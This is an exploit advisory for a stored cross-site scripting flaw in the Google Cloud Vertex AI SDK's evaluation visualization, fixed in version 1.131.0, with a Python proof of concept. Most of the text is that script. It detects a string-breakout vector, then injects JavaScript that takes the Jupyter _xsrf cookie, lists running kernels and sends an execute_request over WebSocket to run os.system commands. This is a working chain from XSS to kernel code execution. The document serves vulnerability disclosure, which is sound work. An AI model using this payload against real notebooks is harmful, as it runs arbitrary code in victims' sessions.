============================================================================================================================================= | # Title : Google Cloud Vertex AI SDK XSS in Leading to Potential Jupyter Kernel Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://cloud.google.com/vertex-ai | ============================================================================================================================================= [+] Summary : A stored Cross-Site Scripting (XSS) vulnerability was identified in the _genai/_evals_visualization component of Google Cloud Vertex AI SDK (google-cloud-aiplatform), affecting versions 1.98.0 up to (but not including) 1.131.0. The vulnerability allows an unauthenticated remote attacker to inject malicious JavaScript into model evaluation results or dataset JSON data. When rendered inside a Jupyter or Colab environment, the injected script may execute in the victim’s browser session. Under certain conditions, this XSS vulnerability could be leveraged to interact with the Jupyter backend APIs and potentially execute arbitrary code within the active kernel session. The issue has been resolved in version 1.131.0. Users are strongly advised to upgrade to 1.131.0 or later to mitigate the risk. [+] POC : pip install pandas import json import sys import pandas as pd from bs4 import BeautifulSoup import re import pathlib class VertexAI_Context_Auditor: """ Responsibility: Analysis and reporting of vulnerability status without any modification to the source. """ def __init__(self, df_input): self.df = df_input self.vector = "';-alert(1)//" self.v = self._load_sdk() def _load_sdk(self): try: from vertexai._genai import _evals_visualization as v return v except ImportError: sys.exit("[-] Internal Error: SDK module not found.") def analyze(self): """Generates the SDK output and audits the DOM context.""" raw_json = self.v._preprocess_df_for_json(self.df).to_json(orient="records") html_output = self.v._get_inference_html(raw_json) soup = BeautifulSoup(html_output, "html.parser") analysis_report = [] for index, script in enumerate(soup.find_all("script")): content = script.get_text() finding = { "id": index, "executable": self._check_type(script), "breakout_risk": self._assess_breakout(content), "is_commented": self._is_commented(content), "escaping": self._check_escaping(content), "node": script } analysis_report.append(finding) return analysis_report, html_output def _check_type(self, tag): """Checks if the script tag is an executable JavaScript type.""" t = tag.get("type", "").lower() return not t or t in ["text/javascript", "application/javascript", "module"] def _assess_breakout(self, text): """Evaluates if the vector successfully breaks out of the string literal.""" if "';" in text or "');" in text: return "CRITICAL" return "HIGH" if self.vector in text else "NONE" def _is_commented(self, text): """Checks if the injection vector is trapped inside a JS comment.""" return any(self.vector in c for c in re.findall(r'(//.*?|/\*.*?\*/)', text, re.DOTALL)) def _check_escaping(self, text): """Scans for evidence of character escaping or sanitization.""" indicators = ['\\u0027', '\\x27', '<', 'JSON.parse', '\\\''] return [i for i in indicators if i in text] class VertexAI_RCE_Injector: """ Responsibility: Converts positive audit findings into a functional exploit. """ @staticmethod def build_payload(): """Constructs a standalone RCE chain for Jupyter environments.""" return ( "'; (function(){" "const code = \"import os; os.system('touch pwned.txt')\";" "const x = (document.cookie.match(/_xsrf=([^;]+)/)||[])[1];" "fetch('/api/kernels',{headers:{'X-XSRFToken':x}}).then(r=>r.json())" ".then(k=>{if(k.length>0){" "const ws=new WebSocket(`${location.protocol.replace('http','ws')}//${location.host}/api/kernels/${k[0].id}/channels`);" "ws.onopen=()=>ws.send(JSON.stringify({header:{msg_id:Math.random().toString(),msg_type:'execute_request',session:Math.random().toString(),version:'5.3'},content:{code:code}}));" "}});" "})(); //" ) def inject_vulnerable_node(self, html_content, node_index): """Injects the RCE payload into a specific audited script node.""" soup = BeautifulSoup(html_content, "html.parser") target = soup.find_all("script")[node_index] target.string = target.get_text().replace("';-alert(1)//", self.build_payload()) return str(soup) if __name__ == "__main__": test_df = pd.DataFrame({"col": ["';-alert(1)//"]}) auditor = VertexAI_Context_Auditor(test_df) results, raw_html = auditor.analyze() for res in results: print(f"[*] Script {res['id']}: Risk={res['breakout_risk']}, Executable={res['executable']}") if res['breakout_risk'] == "CRITICAL" and res['executable'] and not res['is_commented']: print("[!] Critical Vulnerability Confirmed. Initiating Injection Phase...") injector = VertexAI_RCE_Injector() final_poc = injector.inject_vulnerable_node(raw_html, res['id']) pathlib.Path("professional_poc.html").write_text(final_poc, encoding="utf-8") print("[+] Professional PoC generated: professional_poc.html") break Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================